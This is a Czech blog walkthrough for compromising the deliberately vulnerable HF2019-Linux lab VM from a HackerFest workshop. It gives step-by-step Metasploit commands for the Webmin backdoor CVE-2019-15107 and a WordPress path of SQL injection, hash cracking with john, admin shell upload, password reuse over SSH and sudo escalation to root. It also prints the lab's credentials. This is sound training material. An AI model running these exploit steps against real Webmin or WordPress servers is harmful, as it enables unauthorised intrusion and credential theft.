Ochutnávka z workshopu HackerFest 2019

You can find English version of this walkthrough here.

Letos jsem měl možnost vést workshop na HackerFestu 2019. S Willim (William Ischanoe) jsme jej pojali jako ukázku hackování s Kali Linuxem. Nachystali jsme pro každého účastníka vlastní virtuální prostředí se 7 virtuálními servery s různou provázaností, OS a sadou chyb. Každý den jsme tak měli připraveno přes 700 virtuálních serverů.

Virtuální prostředí jsme připravili tak, aby odpovídalo běžnému nastavení ve firmách. Účastníci začínali ve veřejné „VLAN“, ze které byl přístup pouze do internetu. Cílem bylo dostat se do privátní sítě a získat kontrolu nad všemi servery. V labu jsme tak hackovali Cisco switche (VLAN-hopping skrze DTP, SNMP misconfiguration), Mikrotik (CVE-2018-14847), Linux (viz níže), MS Windows (IIS misconfiguration, stored credentials, password reusing, PTH, golden ticket, pivoting a nějaké exploity na starší zranitelnosti).

Takto vypadala virtuální síť pro každého účastníka

Už během workshopu, jsem slíbil, že nějaký virtuální server s Willim uvolníme, aby si jej každý mohl zkusit v klidu domova, nebo jej ukázat kolegům/kamarádům.

Vybrali jsme server s Linuxem (nejsou zde problémy s licenčními právy) a zpřístupnili jsme jej ke stažení skrze Vulnhub.com.

Server po spuštění získá IP adresu z DHCP serveru a vy tak můžete začít hned s jeho prolamováním. Náročnost hacknutí tohoto serveru je nízká a existují k tomu dvě cesty. Doufám, že si to užijete.

Pokud byste se na něčem zasekli, tak níže naleznete návod. 🙂

Návod na HF2019-Linux

Pokud již máte s hackováním nějaké zkušenosti, určitě doporučuji si ten VM nejdříve zkusit prolomit sám. Pokud ještě zkušenosti nemáte, nebo jste se na něčem zasekli, zde nabízím řešení.

Na svém PC používám Kali Linux 2019.3 (x64). Linuxový server, který budeme hackovat, dostal IP adresu 192.168.90.107 (zjištěno z DHCP serveru).

Na začátku si zaktualizujeme databázi s exploity a Metasploit frameworkem, abychom měli jistotu, že máme vše potřebné.

apt-get update
apt-get install metasploit-framework exploitdb --only-upgrade

Hned poté provedeme port sken našeho cíle. Potřebujeme zjistit, jaké služby na něm běží a jak bychom mohli zaútočit.

nmap -sV 192.168.90.107
NMAP sken našeho cíle

Z výpisu dokážeme vyčíst následující:

  • Na serveru běží:
    • FTP (vsftpd verze 3.0.3),
    • SSH (OpenSSH verze 7.4p1 10+deb9u7),
    • web server (Apache 2.4.25),
    • webová správa serveru (Webmin 1.980)
  • Operační systém bude nejspíše Linux Debian 9 (Stretch) (viz několik zmínek v banerech služeb a verze OpenSSH balíčku „deb9u7“)

Hacknutí skrze Webmin (super jednoduché)

Když máme nyní přehled o službách a jejich verzích, které na serveru běží, můžeme se podívat, zdali v nich nejsou nějaké známé chyby. Jedním ze způsobů je zadat název produktu na webu https://www.cvedetails.com/.

Díky tomu zjistíme, že v produktu Webmin byla nedávno nalezena jedna velice závažná chyba CVE-2019-15107. Jednalo se o backdoor, který byl ve verzích Webmin 1.890 – 1.920 (včetně). Což přesně sedí na verzi Webminu, která běží na našem cíli. Pokusíme se ji tedy zneužit pomocí exploitu a Metasploit frameworku.

# Nejprve si pustíme Metasploit framework
msfconsole 
# Zkusíme v něm vyhledat, zdali obsahuje exploit na danou zranitelnost ve Webminu
search webmin
# Aktivujeme exploit, o kterém si myslíme, že by mohl fungovat
use exploit/unix/webapp/webmin_backdoor
# Vypíšeme si seznam argumentů exploitu
options 
# Nastavíme adresu našeho cíle
set rhosts 192.168.90.107
# Webmin využívá komunikaci skrze HTTPS a tak zapneme šifrování
set ssl true
# Nastavíme IP adresu kam se otevře "backdoor" (IP adresa našeho PC s Kali Linuxem)
set lhost 192.168.90.106
# Spustíme exploit
exploit
# Jakmile získáme shell, můžeme se podívat, jaká máme práva na cíli.
id
Webmin exploitation with Metasploit
A takto vypadal celý útok v konzoli

Hacknutí skrze Webmin je fajn i proto, že rovnou získáme oprávnění uživatele root (uživatel pod kterým běží Webmin). Nastavit Webmin tak, aby běžel pod jiným uživatelem než root, je komplikované (pokud je to vůbec možné), protože Webmin slouží pro správu serveru a tudíž tak potřebuje přístup ke všemu. 🙂

Hacknutí skrze WordPress (jednoduché)

V port skenu cíle jsme také viděli, že na něm běží webový server. Nastal tedy čas podívat se, co webový server obsahuje. Když do webového prohlížeče zadáme IP adresu serveru, zjistíme, že na něm běží nějaká WordPressová stránka.

WordPress na našem cíli

Zrovna o hackování WordPressu přednášel na Hacker Festu Roman Kümmel („Jak degradovat bezpečnost WordPressu pomocí pluginů“ – super přednáška a odhalení 0day v placeném pluginu). Takže se inspirujeme a zkusíme oproti WordPressu pustit skener zranitelností.

Bohužel mezi dobou, kdy jsme VM vytvářeli, a současností došlo ke změnám v používání nástroje wpscan. Nově je tak potřeba si vytvořit bezplatný účet na https://wpvulndb.com/ a získat API klíč. Jinak nástroj wpscan nevyhledá zranitelnosti.

# Necháme WordPress otestovat skenerem zranitelností. APIKEY je třeba nahradit za klíč, který dostanete po registraci na wpvulndb.com
wpscan --url http://192.168.90.107 --api-token APIKEY
Výsledek skenu programem wpscan

Získáváme low privileged shell

Skener zjistil, že na cílovém WordPressu je plugin wp-google-maps zranitelný na „SQL injection“. Opět se tedy zkusíme podívat do Metasploit frameworku a zkusíme plugin zneužít.

# Spustíme si Metasploit Framework
msfconsole
# Vyhledáme exploit
search wp_google
# Aktivujeme nalezený exploit
use auxiliary/admin/http/wp_google_maps_sqli
# Zobrazíme si seznam argumentů
options
# Nastavíme adresu cíle
set rhosts 192.168.90.107
# Spustíme exploit
exploit
Získané přihlašovací údaje: uživatelské jméno + solený hash hesla

Exploit nám získal přihlašovací údaje (uživatelské jméno „webmaster“ + solený hash hesla „$P$BsqOdiLTcye6AS1ofreys4GzRlRvSr1“). To nám však pro přihlášení do WordPressu nestačí, takže zkusíme heslo cracknout.

# Nalezený hash si uložíme do souboru
echo '$P$BsqOdiLTcye6AS1ofreys4GzRlRvSr1' > wphash.txt
# Rozbalíme si slovník (pokud jsme to neudělali dříve)
gzip -d /usr/share/wordlists/rockyou.txt.gz 
# Pustíme si password cracker nad daným hashem
john --wordlist=/usr/share/wordlists/rockyou.txt wphash.txt 
Cracknuté heslo

Nyní už tedy víme, že přihlašovací údaje pro administraci WordPressu jsou „webmaster“ s heslem „kittykat1“. Se znalostí těchto přihlašovacích údajů můžeme spravovat celý WordPress „http://192.168.90.107/wp-admin“ a stejně tak i získat shell na našem cíli.

# Spustíme si Metasploit Framework
msfconsole
# Zkusíme vyhledat vhodný exploit. Zde je použita rozšíření syntaxe.
# Nejprve se vyhledají exploity obsahující slovo wordpress a následně se z nich vyberou jenom ty, co obsahují i slovo shell.
grep shell search wordpress
# Vybereme si vhodný exploit
use exploit/unix/webapp/wp_admin_shell_upload 
# Zobrazíme si seznam argumentů
options
# Nastavíme adresu cíle včetně přihlašovacích údajů
set rhosts 192.168.90.107
set username webmaster
set password kittykat1
# Aktivujeme exploit
exploit
# Nyní se přepneme do shellu na vzdáleném serveru
shell
# Zjistíme pod kým běžíme
id
# Získáme aktuální cestu
pwd
# Jelikož aktuální cesta není nastavena, tak se přepneme do adresáře s webem
cd /var/www/html
# Získáme seznam souborů a adresářů webu
ls -l
# Jelikož vidíme, že soubory webu vlastní skupina webmaster, podíváme se, zdali existuje i takový uživatel.
cat /etc/passwd | grep webmaster
Využití přihlašovacích údajů k WordPressu pro získání shellu

Povyšujeme oprávnění na root

Podařilo se nám získat shell pod uživatelem „www-data“, což je běžný uživatelský účet. Nyní se pokusíme si povýšit oprávnění na uživatele root.

Víme, že na serveru existuje uživatel webmaster. To je stejné uživatelské jméno, jako má admin účet WordPressu. Je tedy na čase zjistit, zdali i ten linuxový účet nemá stejné přihlašovací údaje. Nejjednodušší cesta je zkusit se na server přihlásit skrze SSH.

# Připojení skrze SSH
ssh webmaster@192.168.90.107
# Zkusíme se podívat, zdali uživatel nemá právo spouštět nějaké příkazy jako root
sudo -l
# Jelikož jsme zjistili, že uživatel webmaster se může kdykoliv povýšit na uživatele root, tak toho hned využijeme
sudo bash
# Ověříme si, že máme skutečně oprávnění uživatele root
id
Hotovo, server byl pokořen

Kam dál

Snad se nám s Willim podařilo vás zaujmout a ukázat, o čem může takové hackování/penetrační testování s Kali Linuxem být. Další zajímavé servery pro hackování můžete zdarma najít na zmiňovaném vulnhub.com.

Pokud cítíte, že byste potřebovali ještě trochu času se zkušeným lektorem, podívejte se na kurzy Gopasu. Vyučují je profíci jako William Ischanoe, Roman Kümmel a Ondřej Ševeček, které určitě znáte nejen z Hacker Festu. Tématům se v kurzech věnuje dostatek času a vše se rozebírá dopodrobna:

PS: Pokud si chcete ještě chvíli hrát s naším linuxovým cílem, tak obsahuje ještě jednu cestu, jak získat přihlašovací údaje do WordPressu (nápověda: FTP).

Nezapomeňte se pochlubit do komentářů, až se vám podaří server pokořit. 😊

Líbí se vám témata, o kterých píši?

Abyste nemuseli kontrolovat, jestli už vyšel nový článek, rád vám ho ihned po zveřejnění pošlu do e-mailu. Každý kontakt, který mi poskytnete, si nechám vždy jen pro sebe.

Diskuze k článku

Pavel Misik

23. 10. 2019 v 10:42

Dobry den,

Metaspolit – tam nemam ten modul webmin exploit, tak som siel cestou cez FTP cez anonymous account , kde som si priamo stiahol wp-config.php a ostatne je uz rovnake ako vo Vasej druhej popisanej ceste 🙂

Odpovědět

Odpovědět

Martin Haller

23. 10. 2019 v 12:19

Jsem rád, že se to podařilo :).

Co se týče toho exploitu na webmin. Zkoušel jsem si předtím zaktualizovat Metasploit framework? On je poměrně nový a pokud máte delší dobu neaktualizovaný Kali, tak vám tam může chybět.

apt-get update
apt-get install metasploit-framework exploitdb –only-upgrade

Odpovědět

Odpovědět

Napsat komentář

Vaše e-mailová adresa nebude zveřejněna. Vyžadované informace jsou označeny *

Hack The Box OSCP MCSE CHFI ECSA CCNP CCNA